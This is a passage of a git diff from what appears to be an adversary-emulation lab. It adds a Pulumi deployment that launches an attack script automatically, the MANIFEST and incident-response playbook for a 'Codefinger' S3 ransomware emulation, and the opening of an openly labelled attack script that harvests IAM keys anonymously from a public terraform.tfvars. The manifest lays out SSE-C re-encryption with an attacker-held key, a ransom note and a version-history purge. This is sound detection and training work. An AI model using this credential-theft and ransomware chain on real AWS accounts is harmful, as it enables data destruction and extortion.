+pulumi.export("cloudtrail_bucket_name", ct_bucket.id) +pulumi.export("tfstate_bucket_name", tfstate_bucket.id) +pulumi.export("canary_secret_arn", canary_secret.arn) +pulumi.export("codecommit_repo_name", codecommit_repo.repository_name) +pulumi.export("subnet_id", subnet.id) +pulumi.export("task_sg_id", task_sg.id) +# Clean-key exports for constants pattern (attack.py reads these first) +pulumi.export("cluster_name", CLUSTER_NAME) +pulumi.export("trail_name", TRAIL_NAME) +pulumi.export("task_family", TASK_FAMILY) +pulumi.export("log_group_name", LOG_GROUP_NAME) +pulumi.export("honey_user_name", HONEY_USER_NAME) +pulumi.export("canary_secret_name", CANARY_SECRET_NAME) + +# ── Auto-Trigger Attack Script ──────────────────────────────────────────────── +def _launch_attack(args): + ( + victim_key_id, + victim_secret, + trail_name, + ct_bucket_name, + tf_bucket_name, + repo_name, + cluster_name, + subnet_id_val, + sg_id_val, + secret_arn_val, + task_def_arn_val, + ) = args + + if not victim_key_id or not victim_secret: + pulumi.log.warn("Victim credentials not resolved — skipping attack auto-trigger") + return None + + attack_script = os.path.join( + os.path.dirname(os.path.dirname(os.path.abspath(__file__))), + "emulation_scripts", "attack.py" + ) + if not os.path.exists(attack_script): + pulumi.log.warn(f"attack.py not found at {attack_script} - skipping auto-trigger") + return None + + env = {**os.environ} + env["AWS_VICTIM_ACCESS_KEY_ID"] = victim_key_id + env["AWS_VICTIM_SECRET_ACCESS_KEY"] = victim_secret + env["CLOUDTRAIL_TRAIL_NAME"] = trail_name + env["CLOUDTRAIL_BUCKET_NAME"] = ct_bucket_name + env["TFSTATE_BUCKET_NAME"] = tf_bucket_name + env["CODECOMMIT_REPO_NAME"] = repo_name + env["ECS_CLUSTER_NAME"] = cluster_name + env["ECS_SUBNET_ID"] = subnet_id_val + env["ECS_SECURITY_GROUP_ID"] = sg_id_val + env["CANARY_SECRET_ARN"] = secret_arn_val + env["TASK_DEFINITION_ARN"] = task_def_arn_val + env["AWS_ACCOUNT_ID"] = account_id + env["AWS_DEFAULT_REGION"] = region + + pulumi.log.info("Launching attack.py emulation script ...") + subprocess.Popen([sys.executable, attack_script], env=env) + return None + + +pulumi.Output.all( + victim_key.id, + victim_key.secret, + trail.name, + ct_bucket.id, + tfstate_bucket.id, + codecommit_repo.repository_name, + ecs_cluster.name, + subnet.id, + task_sg.id, + canary_secret.arn, + task_def.arn, +).apply(_launch_attack) diff --git a/emulations/ambersquid/infra/requirements.txt b/emulations/ambersquid/infra/requirements.txt new file mode 100644 index 0000000..9a1b8d0 --- /dev/null +++ b/emulations/ambersquid/infra/requirements.txt @@ -0,0 +1,2 @@ +pulumi>=3.0.0,<4.0.0 +pulumi-aws>=7.0.0,<8.0.0 diff --git a/emulations/codefinger/MANIFEST.py b/emulations/codefinger/MANIFEST.py new file mode 100644 index 0000000..f61ebf8 --- /dev/null +++ b/emulations/codefinger/MANIFEST.py @@ -0,0 +1,191 @@ +"""MANIFEST for the Codefinger adversary emulation.""" + +MANIFEST = { + "schema_version": 1, + + # ── Identity ───────────────────────────────────────────────────────────── + "name": "codefinger", + "display_name": "Codefinger", + "description": ( + "5-technique AWS S3 ransomware emulation based on the Codefinger group: " + "anonymous credential harvest from a public Terraform state bucket, " + "S3 data enumeration, SSE-C re-encryption with attacker-held AES-256 key, " + "lifecycle auto-delete scheduling (simulated), and version history purge " + "to eliminate rollback recovery paths." + ), + "tier": "enterprise", + + # ── Readiness ───────────────────────────────────────────────────────────── + "readiness": {"type": "none"}, + + # ── UI catalogue metadata ────────────────────────────────────────────────── + "origin": "unknown", + "origin_label": "APT EMULATION", + "tags": [ + "S3 Ransomware", + "SSE-C Encryption", + "Credential Exposure", + "Data Destruction", + "Inhibit Recovery", + "Lifecycle Abuse", + ], + "technique_count": 5, + "severity": "CRITICAL", + "aliases": "", + "attribution": "Codefinger — financially motivated S3 ransomware group", + "active_since": "Documented by Halcyon (2025)", + "targets": "AWS accounts with exposed long-term IAM access keys and S3 write access", + "incidents": [ + "Abusing AWS Native Services: Ransomware Encrypting S3 Buckets with SSE-C (Halcyon)", + ], + + # ── Kill-chain phases ────────────────────────────────────────────────────── + "attack_path": [ + { + "phase": 1, + "name": "Initial Access: Credential Harvesting", + "techniques": [ + {"id": "T1078.004", "name": "Valid Accounts: Cloud Accounts"}, + ], + }, + { + "phase": 2, + "name": "Collection: S3 Object Enumeration", + "techniques": [ + {"id": "T1530", "name": "Data from Cloud Storage"}, + ], + }, + { + "phase": 3, + "name": "Impact: SSE-C Encryption (Simulated)", + "techniques": [ + {"id": "T1486", "name": "Data Encrypted for Impact"}, + ], + }, + { + "phase": 4, + "name": "Impact: Lifecycle Auto-Delete (Simulated)", + "techniques": [ + {"id": "T1485", "name": "Data Destruction"}, + ], + }, + { + "phase": 5, + "name": "Impact: Version History Purge", + "techniques": [ + {"id": "T1490", "name": "Inhibit System Recovery"}, + ], + }, + ], + + # ── Full MITRE mappings ──────────────────────────────────────────────────── + "mitre_mappings": [ + { + "id": "T1078.004", + "name": "Valid Accounts: Cloud Accounts", + "tactic": "Initial Access", + "platform": "AWS IAM", + "description": ( + "Anonymous GetObject on a public Terraform state bucket retrieves " + "an exposed long-term IAM access key pair; validated via " + "GetCallerIdentity + ListBuckets." + ), + }, + { + "id": "T1530", + "name": "Data from Cloud Storage", + "tactic": "Collection", + "platform": "AWS S3", + "description": ( + "Paginated ListObjectsV2 + HeadObject on the target bucket enumerates " + "all objects and metadata; one GetObject per prefix confirms data-plane read access." + ), + }, + { + "id": "T1486", + "name": "Data Encrypted for Impact", + "tactic": "Impact", + "platform": "AWS S3", + "description": ( + "Runtime AES-256 SSE-C key generated; each synthetic object re-uploaded " + "via PutObject with SSE-C headers (GetObject -> PutObject+SSE-C). " + "CloudTrail logs only the HMAC of the key — data is irrecoverable without " + "the attacker-held key. Ransom note dropped per prefix." + ), + }, + { + "id": "T1485", + "name": "Data Destruction", + "tactic": "Impact", + "platform": "AWS S3", + "description": ( + "DeleteObject removes original keys, then a 1-day lifecycle expiry rule " + "(PutBucketLifecycleConfiguration) is applied and immediately removed " + "after CloudTrail capture to prevent real deletion of synthetic objects." + ), + }, + { + "id": "T1490", + "name": "Inhibit System Recovery", + "tactic": "Impact", + "platform": "AWS S3", + "description": ( + "PutBucketVersioning suspends versioning, then all version entries and " + "delete markers are bulk-purged via DeleteObjects to eliminate version " + "rollback as an IR recovery path." + ), + }, + ], + + # ── References ──────────────────────────────────────────────────────────── + "references": [ + { + "icon": ">", + "title": "Abusing AWS Native Services: Ransomware Encrypting S3 Buckets with SSE-C", + "source": "Halcyon · halcyon.ai", + "type": "REPORT", + "color": "cyan", + }, + { + "icon": "#", + "title": "MITRE ATT&CK — T1486: Data Encrypted for Impact", + "source": "MITRE ATT&CK · mitre.org", + "type": "MITRE", + "color": "purple", + }, + { + "icon": "#", + "title": "MITRE ATT&CK — T1490: Inhibit System Recovery", + "source": "MITRE ATT&CK · mitre.org", + "type": "MITRE", + "color": "purple", + }, + { + "icon": "~", + "title": "AWS S3 SSE-C Encryption Documentation", + "source": "AWS Documentation · docs.aws.amazon.com", + "type": "DOCUMENTATION", + "color": "orange", + }, + ], + + # ── Infrastructure & cost ───────────────────────────────────────────────── + "phase_count": 5, + "estimated_duration_minutes": 30, + "estimated_cost_per_hour_usd": 0.0014, + "default_ttl_hours": 4, + "total_resources": 13, + "resources": { + "ec2_count": 0, + "instance_types": [], + "uses_lambda": False, + "uses_secrets_manager": False, + "uses_cloudtrail": True, + "uses_guardduty": False, + }, + "resource_costs": [ + {"name": "CloudTrail trail", "count": 1, "cost_per_hour_usd": 0.0014}, + {"name": "S3 buckets (bait/target/ct-log)", "count": 3, "cost_per_hour_usd": 0.0}, + {"name": "IAM user + access key", "count": 1, "cost_per_hour_usd": 0.0}, + ], +} diff --git a/emulations/codefinger/PLAYBOOK.md b/emulations/codefinger/PLAYBOOK.md new file mode 100644 index 0000000..d922272 --- /dev/null +++ b/emulations/codefinger/PLAYBOOK.md @@ -0,0 +1,532 @@ +# IR Playbook: Codefinger — AWS S3 Ransomware + +## Classification +| Field | Value | +|-------|-------| +| Incident Type | Cloud Ransomware / Data Encryption for Extortion | +| Threat Actor | Codefinger | +| Platform | aws | +| Severity | Critical | +| MITRE Tactics | Initial Access, Collection, Impact | +| MITRE Techniques | T1078.004, T1530, T1486, T1485, T1490 | + +--- + +## 1. Preparation + +**Prerequisites that MUST be in place before this incident type occurs:** + +- **CloudTrail**: Multi-region trail enabled with S3 data-plane events (GetObject, PutObject, DeleteObject, HeadObject) logging enabled on all sensitive buckets. +- **GuardDuty**: Enabled in all regions with S3 Protection feature active. +- **Amazon Macie**: Enabled for automated sensitive data discovery on S3 buckets containing PII/financial data. +- **Security Hub**: Enabled with AWS Foundational Security Best Practices standard; controls S3.13 and S3.14 active. +- **S3 Versioning**: Enabled on all buckets holding critical data — versioning suspension events become the primary high-signal detection indicator. +- **EventBridge rule**: Alert on `PutBucketVersioning` (suspension) and `PutBucketLifecycleConfiguration` control-plane events. +- **IAM Access Analyzer**: Enabled to detect public S3 bucket policies exposing credentials. +- **Bucket public access block**: `BlockPublicAcls` and `RestrictPublicBuckets` set on all non-intentionally-public buckets. +- **SIEM ingestion**: CloudTrail logs, GuardDuty findings, and Macie findings forwarded to SIEM with correlation rules for SSE-C PutObject chains. +- **IAM key inventory**: Automated audit of long-term access keys; keys unused >90 days auto-disabled. +- **Incident response contacts**: On-call rotation, AWS Support (Business or Enterprise) contact pre-established. + +--- + +## 2. Identification + +### Detection Triggers (prioritized) + +#### HIGH-CONFIDENCE — Always Indicate Compromise + +| Audit Event | EventSource | Why High-Confidence | +|---|---|---| +| `PutBucketVersioning` (Status=Suspended) | s3.amazonaws.com | Codefinger terminal step; legitimate ops rarely suspend versioning | +| `PutBucketLifecycleConfiguration` with 1-day expiry | s3.amazonaws.com | Ransomware TTL countdown; no legitimate use case applies 1-day deletion on data buckets | +| `PutObject` with `x-amz-server-side-encryption-customer-algorithm: AES256` (SSE-C) on previously non-SSE-C objects | s3.amazonaws.com | In-place re-encryption with attacker-held key — core ransomware mechanism | +| `DeleteObjectVersion` bulk following SSE-C PutObject | s3.amazonaws.com | Eliminates version rollback recovery path | +| `README.txt` PutObject across multiple prefixes simultaneously | s3.amazonaws.com | Ransom note deposit pattern | + +#### MEDIUM-CONFIDENCE — May Indicate Compromise + +| Audit Event | EventSource | Why Medium-Confidence | +|---|---|---| +| `GetCallerIdentity` from novel source IP using long-term IAM key | sts.amazonaws.com | Attacker credential validation probe; also used by legitimate tooling | +| `ListBuckets` from IP outside access baseline | s3.amazonaws.com | Reconnaissance; also performed by monitoring tools | +| `ListObjects` + `HeadObject` high-volume burst from single principal | s3.amazonaws.com | Encryption target enumeration; also batch processing jobs | +| Anonymous `GetObject` on bait/IaC state bucket | s3.amazonaws.com | Credential harvesting; legitimate if bucket intentionally public | +| `DeleteObject` bulk following `PutObject` burst (same session) | s3.amazonaws.com | Original object deletion after re-encryption | + +### Key Investigation Queries + +#### Step 1 — Scope the Compromised IAM Principal + +```bash +# Identify all API calls from the suspected IAM access key in the last 24h +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=AccessKeyId,AttributeValue= \ + --start-time "$(date -u -d '24 hours ago' '+%Y-%m-%dT%H:%M:%SZ')" \ + --end-time "$(date -u '+%Y-%m-%dT%H:%M:%SZ')" \ + --output json | jq '.Events[] | {time: .EventTime, event: .EventName, resource: .Resources}' +``` + +```bash +# Who does this key belong to? +aws iam get-access-key-last-used --access-key-id +``` + +```bash +# List all access keys for the identified user +aws iam list-access-keys --user-name +``` + +#### Step 2 — Detect Initial Credential Theft from Bait Bucket + +```bash +# Check S3 server access logs on the bait bucket for anonymous GetObject +aws s3api get-bucket-logging --bucket + +# Query CloudTrail for GetObject on bait bucket without authenticated principal +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=ResourceName,AttributeValue= \ + --output json | jq '.Events[] | select(.EventName=="GetObject") | {time: .EventTime, user: .Username, ip: (.CloudTrailEvent | fromjson | .sourceIPAddress)}' +``` + +#### Step 3 — Identify Reconnaissance Activity (T1530) + +```bash +# Find ListObjectsV2, HeadObject, GetObject burst from the compromised key +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=AccessKeyId,AttributeValue= \ + --output json | jq '.Events[] | select(.EventName | IN("ListObjects","ListObjectsV2","HeadObject","GetObject")) | {time: .EventTime, bucket: (.CloudTrailEvent | fromjson | .requestParameters.bucketName), key: (.CloudTrailEvent | fromjson | .requestParameters.key)}' +``` + +#### Step 4 — Detect SSE-C Encryption Activity (T1486) + +```bash +# Find PutObject calls with SSE-C headers — look for sseApplied: SSE-C in CloudTrail +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=AccessKeyId,AttributeValue= \ + --output json | jq '.Events[] | select(.EventName=="PutObject") | {time: .EventTime, event: .CloudTrailEvent | fromjson}' +``` + +```bash +# Check current encryption state of objects in affected bucket (sample) +aws s3api head-object \ + --bucket \ + --key +# Look for: "ServerSideEncryption": "aws:customer" indicating SSE-C +``` + +```bash +# List all objects in affected prefixes to assess blast radius +aws s3api list-objects-v2 \ + --bucket \ + --prefix finance/ \ + --query 'Contents[*].{Key:Key,Size:Size,LastModified:LastModified}' \ + --output table + +aws s3api list-objects-v2 \ + --bucket \ + --prefix hr/ \ + --query 'Contents[*].{Key:Key,Size:Size,LastModified:LastModified}' \ + --output table +``` + +#### Step 5 — Check Lifecycle Policy (T1485) + +```bash +# Inspect current lifecycle policy on affected bucket +aws s3api get-bucket-lifecycle-configuration --bucket +# If rule with 1-day expiry or ID "codefinger-auto-delete" exists: CRITICAL +``` + +```bash +# Audit CloudTrail for lifecycle modifications +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=EventName,AttributeValue=PutBucketLifecycleConfiguration \ + --start-time "$(date -u -d '48 hours ago' '+%Y-%m-%dT%H:%M:%SZ')" \ + --output json | jq '.Events[] | {time: .EventTime, user: .Username, bucket: (.CloudTrailEvent | fromjson | .requestParameters.bucketName)}' +``` + +#### Step 6 — Check Versioning Suspension (T1490) + +```bash +# Check current versioning status +aws s3api get-bucket-versioning --bucket +# "Status": "Suspended" = attacker completed terminal step + +# Audit CloudTrail for versioning changes +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=EventName,AttributeValue=PutBucketVersioning \ + --start-time "$(date -u -d '48 hours ago' '+%Y-%m-%dT%H:%M:%SZ')" \ + --output json | jq '.Events[] | {time: .EventTime, user: .Username, bucket: (.CloudTrailEvent | fromjson | .requestParameters.bucketName), status: (.CloudTrailEvent | fromjson | .requestParameters.VersioningConfiguration.Status)}' +``` + +```bash +# List all remaining object versions (assess if bulk DeleteObjectVersion occurred) +aws s3api list-object-versions \ + --bucket \ + --output json | jq '{versions: [.Versions[]? | {key: .Key, versionId: .VersionId, isLatest: .IsLatest}], deleteMarkers: [.DeleteMarkers[]? | {key: .Key, versionId: .VersionId}]}' +``` + +#### Step 7 — GuardDuty Finding Review + +```bash +# Pull all active GuardDuty findings of severity >= 7 (High/Critical) +aws guardduty list-findings \ + --detector-id \ + --finding-criteria '{"Criterion":{"severity":{"Gte":7},"updatedAt":{"Gte":'$(date -u -d '48 hours ago' +%s000)'}}}' \ + --output json + +# Get finding detail for relevant finding IDs +aws guardduty get-findings \ + --detector-id \ + --finding-ids \ + --output json | jq '.Findings[] | {type: .Type, severity: .Severity, principal: .Resource.AccessKeyDetails.UserName, ip: .Service.Action.AwsApiCallAction.RemoteIpDetails.IpAddressV4}' +``` + +```bash +# Get GuardDuty detector ID (if unknown) +aws guardduty list-detectors --output json | jq -r '.DetectorIds[0]' +``` + +--- + +## 3. Containment + +### Immediate Actions (first 15 minutes) + +#### 3.1 — Disable Compromised IAM Access Key + +```bash +# IMMEDIATE: Deactivate the stolen long-term access key +aws iam update-access-key \ + --user-name \ + --access-key-id \ + --status Inactive +``` + +```bash +# Verify deactivation +aws iam list-access-keys --user-name +``` + +#### 3.2 — Attach Explicit Deny Policy to Victim IAM User (Belt-and-Suspenders) + +```bash +# Create an explicit deny policy to prevent any further API calls even if key is somehow reactivated +cat > /tmp/deny-all-policy.json << 'EOF' +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Deny", + "Action": "*", + "Resource": "*" + } + ] +} +EOF + +aws iam put-user-policy \ + --user-name \ + --policy-name EmergencyDenyAll \ + --policy-document file:///tmp/deny-all-policy.json +``` + +#### 3.3 — Remove Active Lifecycle Policy (If Present — Stop Countdown) + +```bash +# CRITICAL: Remove attacker-set lifecycle rule to stop automated deletion +aws s3api delete-bucket-lifecycle --bucket + +# Verify lifecycle is removed +aws s3api get-bucket-lifecycle-configuration --bucket +# Expected: NoSuchLifecycleConfiguration error = safe +``` + +#### 3.4 — Re-Enable S3 Object Versioning + +```bash +# Re-enable versioning if it was suspended +aws s3api put-bucket-versioning \ + --bucket \ + --versioning-configuration Status=Enabled +``` + +#### 3.5 — Block Public Access on Bait Bucket (Credential Source) + +```bash +# Prevent further anonymous credential downloads from the bait bucket +aws s3api put-public-access-block \ + --bucket \ + --public-access-block-configuration \ + BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true +``` + +#### 3.6 — Add S3 Bucket Policy Deny for Compromised Principal + +```bash +# Deny all S3 access to the compromised IAM user at the resource level +ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +VICTIM_ARN="arn:aws:iam::${ACCOUNT_ID}:user/" + +cat > /tmp/bucket-deny-policy.json << EOF +{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "DenyCompromisedPrincipal", + "Effect": "Deny", + "Principal": {"AWS": "${VICTIM_ARN}"}, + "Action": "s3:*", + "Resource": [ + "arn:aws:s3:::", + "arn:aws:s3:::/*" + ] + } + ] +} +EOF + +aws s3api put-bucket-policy \ + --bucket \ + --policy file:///tmp/bucket-deny-policy.json +``` + +#### 3.7 — Enable S3 MFA Delete (Prevent Future Version Deletion) + +```bash +# Require MFA for version deletion (prevents automated deletion by compromised keys) +# NOTE: Requires root credentials or MFA-authenticated session +aws s3api put-bucket-versioning \ + --bucket \ + --versioning-configuration 'Status=Enabled,MFADelete=Enabled' \ + --mfa " " +``` + +--- + +## 4. Eradication + +### Remove Attacker Access + +#### 4.1 — Permanently Delete Compromised Access Key + +```bash +# After incident is confirmed, delete the key entirely (not just disable) +aws iam delete-access-key \ + --user-name \ + --access-key-id +``` + +#### 4.2 — Rotate All IAM User Credentials + +```bash +# Create a new access key for the legitimate user (for future use after IR) +aws iam create-access-key --user-name + +# Update login profile password if console access was also active +aws iam update-login-profile \ + --user-name \ + --password \ + --password-reset-required +``` + +#### 4.3 — Remove Ransom Notes from Affected Prefixes + +```bash +# Remove README.txt ransom notes deposited by attacker +aws s3 rm s3:///finance/README.txt +aws s3 rm s3:///hr/README.txt + +# Search for any additional ransom notes across all prefixes +aws s3api list-objects-v2 \ + --bucket \ + --query "Contents[?contains(Key, 'README')]" \ + --output json +``` + +#### 4.4 — Enumerate and Remove All SSE-C Encrypted Objects + +```bash +# List all objects that are currently SSE-C encrypted (check x-amz-server-side-encryption) +# SSE-C objects require the customer key to read — these are inaccessible without attacker key +# Document them for insurance/legal and mark for recovery or permanent removal + +aws s3api list-objects-v2 \ + --bucket \ + --output json | jq '.Contents[].Key' -r | while read key; do + encryption=$(aws s3api head-object --bucket --key "$key" \ + --query 'ServerSideEncryption' --output text 2>/dev/null) + if [ "$encryption" = "None" ]; then + echo "POSSIBLY_SSE_C: $key" + fi + done +``` + +#### 4.5 — Remove Emergency Deny Policy After Recovery + +```bash +# Only after victim user credentials have been fully rotated and new key issued +aws iam delete-user-policy \ + --user-name \ + --policy-name EmergencyDenyAll +``` + +#### 4.6 — Remediate Bait Bucket — Remove Exposed Credentials Object + +```bash +# Delete the terraform.tfvars or equivalent credentials file from the bait bucket +aws s3 rm s3:///terraform.tfvars + +# Audit what else may have been exposed +aws s3api list-objects-v2 --bucket --output json | jq '.Contents[].Key' +``` + +#### 4.7 — Check for Lateral IAM Permissions Abuse + +```bash +# Review what permissions the victim user has to determine blast radius +aws iam list-user-policies --user-name +aws iam list-attached-user-policies --user-name +aws iam list-groups-for-user --user-name + +# Simulate to determine effective permissions +aws iam simulate-principal-policy \ + --policy-source-arn "arn:aws:iam:::user/" \ + --action-names "iam:CreateUser" "iam:AttachRolePolicy" "s3:DeleteBucket" \ + --output json | jq '.EvaluationResults[] | {action: .EvalActionName, decision: .EvalDecision}' +``` + +--- + +## 5. Recovery + +### Restore Clean State + +#### 5.1 — Attempt Version Rollback for Non-SSE-C Objects + +```bash +# Identify most recent pre-attack version of each object (before attacker's PutObject timestamp) +ATTACK_TIME="" + +aws s3api list-object-versions \ + --bucket \ + --prefix finance/ \ + --output json | jq --arg ts "$ATTACK_TIME" \ + '.Versions[] | select(.LastModified < $ts) | {key: .Key, versionId: .VersionId, modified: .LastModified}' \ + | sort +``` + +```bash +# Restore a specific pre-attack version by copying it to the current key +aws s3api copy-object \ + --bucket \ + --copy-source "/?versionId=" \ + --key +``` + +```bash +# Bulk restore script: for each prefix, promote the last clean version +aws s3api list-object-versions \ + --bucket \ + --output json | jq -r '.Versions[] | "\(.Key) \(.VersionId) \(.LastModified)"' | \ + while read key version_id modified; do + if [[ "$modified" < "$ATTACK_TIME" ]]; then + aws s3api copy-object \ + --bucket \ + --copy-source "${TARGET_BUCKET}/${key}?versionId=${version_id}" \ + --key "$key" + echo "Restored: $key from version $version_id" + fi + done +``` + +#### 5.2 — Restore from Backup if Versions Deleted + +```bash +# If DeleteObjectVersion wiped all clean versions, restore from S3 Cross-Region Replication +# or AWS Backup vault +aws backup list-recovery-points-by-backup-vault \ + --backup-vault-name \ + --by-resource-arn "arn:aws:s3:::" \ + --output json | jq '.RecoveryPoints[] | {arn: .RecoveryPointArn, creationDate: .CreationDate, status: .Status}' + +aws backup start-restore-job \ + --recovery-point-arn \ + --iam-role-arn "arn:aws:iam:::role/AWSBackupRole" \ + --metadata '{"DestinationBucketName":""}' \ + --resource-type S3 +``` + +#### 5.3 — Re-Verify Security Posture Post-Recovery + +```bash +# Verify versioning is re-enabled +aws s3api get-bucket-versioning --bucket +# Expected: {"Status": "Enabled"} + +# Verify no lifecycle rules remain +aws s3api get-bucket-lifecycle-configuration --bucket +# Expected: NoSuchLifecycleConfiguration + +# Verify no public access on bait bucket +aws s3api get-public-access-block --bucket + +# Verify compromised key is deleted +aws iam list-access-keys --user-name +# Confirm COMPROMISED_KEY_ID is absent +``` + +#### 5.4 — Re-Enable GuardDuty S3 Protection and Verify Macie + +```bash +# Confirm GuardDuty S3 protection is active +aws guardduty get-detector \ + --detector-id \ + --query 'DataSources.S3Logs.Status' \ + --output text +# Expected: ENABLED + +# Re-run Macie classification job on recovered data +aws macie2 create-classification-job \ + --job-type ONE_TIME \ + --name "post-incident-classification-$(date +%Y%m%d)" \ + --s3-job-definition '{"BucketDefinitions":[{"AccountId":"","Buckets":[""]}]}' \ + --output json | jq '.jobId' +``` + +#### 5.5 — Rotate All IAM Keys in Affected Account (Precautionary) + +```bash +# List all IAM users with active access keys +aws iam list-users --output json | jq -r '.Users[].UserName' | while read user; do + keys=$(aws iam list-access-keys --user-name "$user" \ + --query 'AccessKeyMetadata[?Status==`Active`].AccessKeyId' --output text) + if [ -n "$keys" ]; then + echo "User $user has active keys: $keys" + fi +done +``` + +--- + +## 6. Lessons Learned + +### What Would Have Prevented This + +| Control Gap | Remediation | +|---|---| +| Long-term IAM access key exposed in public S3 bucket (terraform.tfvars) | Enforce `BlockPublicAcls` on all IaC state buckets; use IAM Access Analyzer to detect public bucket policies; never commit credentials to IaC state files — use Secrets Manager or SSM Parameter Store | +| No detection on anonymous GetObject from credential-bearing bucket | Enable S3 server access logging AND CloudTrail data events on all buckets; alert on anonymous access (no `userIdentity.principalId`) to any non-intentionally-public bucket | +| SSE-C PutObject not detected before full encryption completed | Deploy EventBridge rule on `PutObject` with `requestParameters.x-amz-server-side-encryption-customer-algorithm` present; alert on SIEM for SSE-C writes on buckets with no prior SSE-C history | +| Lifecycle policy modification not automatically blocked | SCPs (Service Control Policies) restricting `s3:PutBucketLifecycleConfiguration` to authorized principals only; EventBridge + Lambda auto-remediation to delete unauthorized lifecycle rules | +| Versioning suspension allowed | SCP denying `s3:PutBucketVersioning` with `Status=Suspended` for all but break-glass roles; Security Hub S3.14 control alert on versioning disable | +| Bulk DeleteObjectVersion not detected | Alert on high-volume `DeleteObjectVersion` (>10 in 60 seconds) from any single principal; require MFA Delete on all versioned buckets holding critical data | +| Long-term IAM keys in use | Enforce IAM policy requiring MFA for sensitive operations; migrate to short-term credentials via IAM Identity Center or instance roles; automated rotation for any key older than 90 days | + +### Links to Guardrails + +- **SCPs to deploy**: Deny `s3:PutBucketVersioning` (Suspended) and `s3:PutBucketLifecycleConfiguration` from non-admin principals +- **Security Hub controls**: S3.13 (lifecycle), S3.14 (versioning), IAM.3 (root access key), IAM.22 (unused credentials) +- **GuardDuty findings to tune**: `Impact:S3/MaliciousIPCaller.Custom`, `Discovery:IAMUser/AnomalousBehavior`, `UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration` +- **Kill-chain signature for SIEM**: Correlate `GetCallerIdentity` + `ListBuckets` + `ListObjectsV2` + `PutObject` (SSE-C) + `PutBucketLifecycleConfiguration` + `PutBucketVersioning` (Suspended) within a single `userIdentity.accessKeyId` session window — this 6-event sequence is the complete Codefinger ransomware signature \ No newline at end of file diff --git a/emulations/codefinger/__init__.py b/emulations/codefinger/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/emulations/codefinger/attack.py b/emulations/codefinger/attack.py new file mode 100644 index 0000000..8ce1546 --- /dev/null +++ b/emulations/codefinger/attack.py @@ -0,0 +1,592 @@ +""" +CODEFINGER -- Automated Post-Exploitation Attack Script +Executes a 5-phase, 6-step attack chain emulating the Codefinger ransomware group. + +MITRE ATT&CK Techniques: + T1078.004 - Valid Accounts: Cloud Accounts (Initial Access) + T1530 - Data from Cloud Storage (Collection) + T1486 - Data Encrypted for Impact (Impact - SIMULATED) + T1485 - Data Destruction (Impact - SIMULATED) + T1490 - Inhibit System Recovery (Impact) + +Credential chain: anonymous S3 GetObject on bait bucket -> stolen IAM long-term key +""" + +import sys + +if hasattr(sys.stdout, "reconfigure"): + sys.stdout.reconfigure(encoding="utf-8", errors="replace") +if hasattr(sys.stderr, "reconfigure"): + sys.stderr.reconfigure(encoding="utf-8", errors="replace") + +import os +import re +import time +import json +import random +import base64 +import hashlib +import tempfile +from typing import Optional + +import boto3 +from botocore.exceptions import ClientError +from botocore.config import Config + + +# --------------------------------------------------------------------------- +# Output helpers +# --------------------------------------------------------------------------- + +def print_phase(msg: str) -> None: + print(f"\n{'='*60}") + print(f"[PHASE] {msg}") + print(f"{'='*60}") + + +def print_step(msg: str) -> None: + print(f"\n[*] {msg}") + + +def print_ok(msg: str) -> None: + print(f"[+] {msg}") + + +def print_err(msg: str) -> None: + print(f"[-] {msg}") + + +def print_info(msg: str) -> None: + print(f" {msg}") + + +# --------------------------------------------------------------------------- +# Timing helpers +# --------------------------------------------------------------------------- + +def op_delay(min_s: float = 2, max_s: float = 6) -> None: + t = random.uniform(min_s, max_s) + time.sleep(t) + + +def phase_delay() -> None: + t = random.uniform(5, 15) + print_info(f"Phase transition delay: {t:.1f}s") + time.sleep(t) + + +# --------------------------------------------------------------------------- +# Boto3 session factory +# --------------------------------------------------------------------------- + +def make_session(key_id: str, secret: str, region: str = "us-east-1") -> boto3.Session: + return boto3.Session( + aws_access_key_id=key_id, + aws_secret_access_key=secret, + region_name=region, + ) + + +def make_anon_client(service: str, region: str = "us-east-1"): + """Create a boto3 client with no credentials for anonymous S3 access.""" + from botocore import UNSIGNED + return boto3.client( + service, + region_name=region, + config=Config(signature_version=UNSIGNED), + ) + + +# --------------------------------------------------------------------------- +# SSE-C key helpers +# --------------------------------------------------------------------------- + +def generate_ssec_key() -> tuple: + """Return (raw_bytes, base64_str, md5_base64_str) for an AES-256 SSE-C key.""" + raw = os.urandom(32) + b64 = base64.b64encode(raw).decode("ascii") + md5 = base64.b64encode(hashlib.md5(raw).digest()).decode("ascii") + return raw, b64, md5 + + +def save_ssec_key(raw: bytes, output_dir: str) -> str: + """Write the SSE-C key to disk for cleanup use. Returns file path.""" + key_path = os.path.join(output_dir, "ssec_key.bin") + with open(key_path, "wb") as fh: + fh.write(raw) + return key_path + + +# --------------------------------------------------------------------------- +# Phase 1 -- Initial Access: Credential Harvesting and Validation +# T1078.004 / T1552.001 +# --------------------------------------------------------------------------- + +def phase1_credential_harvest( + bait_bucket_name: str, + region: str = "us-east-1", +) -> tuple: + """ + Anonymously retrieve the exposed terraform.tfvars credential file from the + public bait S3 bucket (simulates T1552.001 discovery of IAM keys in IaC state). + Returns (stolen_key_id, stolen_secret, stolen_session). + """ + print_phase("Phase 1 - Initial Access: Credential Harvesting (T1078.004 / T1552.001)") + + print_step(f"Step 1: Anonymously downloading terraform.tfvars from s3://{bait_bucket_name}") + anon_s3 = make_anon_client("s3", region) + try: + response = anon_s3.get_object(Bucket=bait_bucket_name, Key="terraform.tfvars") + body = response["Body"].read().decode("utf-8") + print_ok(f"Retrieved terraform.tfvars ({len(body)} bytes) -- anonymous GetObject succeeded") + print_info("CloudTrail event: GetObject on bait bucket (no AWS credential signature)") + except ClientError as exc: + code = exc.response["Error"]["Code"] + print_err(f"Anonymous GetObject failed [{code}]: {exc}") + raise SystemExit(1) + + op_delay(2, 5) + + key_id_match = re.search(r'aws_access_key_id\s*=\s*"([^"]+)"', body) + secret_match = re.search(r'aws_secret_access_key\s*=\s*"([^"]+)"', body) + if not key_id_match or not 